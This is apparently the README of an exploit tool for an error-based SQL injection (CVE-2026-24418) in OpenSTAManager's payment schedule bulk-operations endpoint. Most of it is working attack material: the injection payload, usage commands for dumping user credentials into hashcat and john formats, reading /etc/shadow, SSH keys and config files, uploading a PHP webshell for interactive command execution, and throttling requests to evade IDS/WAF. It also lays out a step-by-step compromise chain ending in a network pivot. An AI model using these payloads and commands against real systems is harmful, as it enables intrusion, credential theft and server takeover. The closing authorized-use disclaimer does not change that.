OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module.
OpenSTAManager <= 2.9.8 — Error-Based SQL Injection in Scadenzario Bulk Operations Module
| Field | Details |
|---|---|
| CVE ID | CVE-2026-24418 |
| Severity | HIGH (8.8) |
| CWE | CWE-89: SQL Injection |
| Affected Versions | OpenSTAManager <= 2.9.8 |
| Vulnerable Parameter | id_records[] (POST array) |
| Vulnerable Endpoint | /actions.php?id_module=18 |
| Attack Type | Error-Based SQL Injection (EXTRACTVALUE) |
| Authentication | Required (any valid user account) |
OpenSTAManager v2.9.8 and earlier versions contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. The application fails to validate that elements of the id_records[] array are integers before using them in an SQL IN() clause, allowing authenticated attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.
/actions.php receives id_records[] via POSTarray_clean() only removes empty values, does NOT validate data types/modules/scadenzario/bulk.php passes unsanitized values directly into a SQL IN() clausegit clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p password --info
# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# Database info + privileges + user credentials
python3 exploit.py -t http://target.com -u admin -p secret --all
# Check MySQL privileges (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# Dump users and auto-export hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# Output files:
# ./loot/users.json - Full user data
# ./loot/users.csv - CSV format
# ./loot/hashes_hashcat.txt - Hashcat format (mode 3200)
# ./loot/hashes_john.txt - John format (user:hash)
# List all databases
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# List tables in a specific database
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# List columns of a table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# Dump specific columns with row limit
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# Read /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# Read application config (database credentials)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# Read SSH keys
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# HEX mode (bypass character filters)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# Upload webshell (auto-detects webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Upload webshell with specific webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# Interactive shell session
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE will auto-upload webshell if none exists
# Save everything to a directory
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# Generated files:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# With request delay (2 seconds between requests)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --info -k
Target:
-t, --target Target base URL
Authentication:
-u, --user Username for login
-p, --password Password for login
-c, --cookie Existing PHPSESSID value
Enumeration:
-D, --database Target database name
-T, --table Target table name
-C, --columns-list Columns to dump (comma-separated)
--limit Row limit for dumps
Actions:
--info Database server information
--users Dump zz_users credentials
--dbs Enumerate databases
--tables List tables
--columns List columns (requires -T)
--dump Dump data (requires -T and -C)
--sql QUERY Custom SQL query
--all Run --info + --privs + --users
--privs Check MySQL privileges
File Operations:
--file-read PATH Read file via LOAD_FILE()
--file-read-hex PATH Read file via HEX encoding
Remote Code Execution:
--webshell Upload PHP webshell
--webroot PATH Webroot path for shell upload
--rce Interactive command execution
Output:
-o, --output DIR Save results to directory
Network:
-m, --module-id Module ID (default: 18)
--proxy HTTP proxy URL
-k, --no-ssl-verify Disable SSL verification
--delay Request delay in seconds
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
MySQL's EXTRACTVALUE() returns max ~32 characters via XPATH errors. The tool automatically chunks long results using SUBSTRING():
SUBSTRING((<query>), 1, 31) -- Chunk 1
SUBSTRING((<query>), 32, 31) -- Chunk 2
...
Technical Note on Error-Based Context: While
--webshelland--rceare included for maximum coverage, MySQL strictly forbids usingINTO DUMPFILEwithin a subquery or anIN()clause (which is exactly where this CVE's injection point is located).Therefore, writing files directly via this specific error-based injection will typically fail with a syntax error unless:
- The target environment allows Stacked Queries (very rare in modern PHP/PDO setups).
- You manage to pivot the payload into a UNION-based injection.
If you confirm
FILEprivileges via--privs, your best bet is using--file-readand--file-read-hex, asLOAD_FILE()works flawlessly inside error-based subqueries.
When FILE privilege is available and constraints allow:
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'
POST /actions.php?id_module=18
└── actions.php (L503-506) ─── receives id_records[]
└── array_clean() ─── only removes empty values
└── bulk.php (L88) ─── builds SQL IN() clause
└── Database.php (L289) ─── executes unsanitized query
└── XPATH error leaks data
1. --privs → Check FILE privilege
2. --users → Dump credentials, export hashes
3. --file-read → Read config.inc.php for DB creds
4. --file-read → Read /etc/passwd for usernames
5. --webshell → Upload PHP webshell
6. --rce → Interactive shell → pivot
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing. The author assumes no liability for misuse.
| Feature | Description |
|---|
--info | Database server fingerprinting (version, user, hostname, OS, paths) |
--privs | MySQL privilege enumeration (FILE, SUPER, PROCESS) |
--users | Full credential dump from zz_users with auto hash export |
--dbs | Enumerate all accessible databases |
--tables | List tables with row counts |
--columns | List columns with types and nullable info |
--dump | Data exfiltration from any table/column |
--sql | Custom SQL query execution |
--file-read | Read server files via LOAD_FILE() (/etc/passwd, config files, SSH keys) |
--file-read-hex | HEX-encoded file read to bypass filters |
--webshell | Upload PHP webshell via INTO DUMPFILE |
--rce | Interactive command execution via uploaded webshell |
-o / --output | Save all results to JSON, CSV, and hashcat/john formats |
--proxy | HTTP proxy support (Burp Suite) |
--delay | Request throttling for IDS/WAF evasion |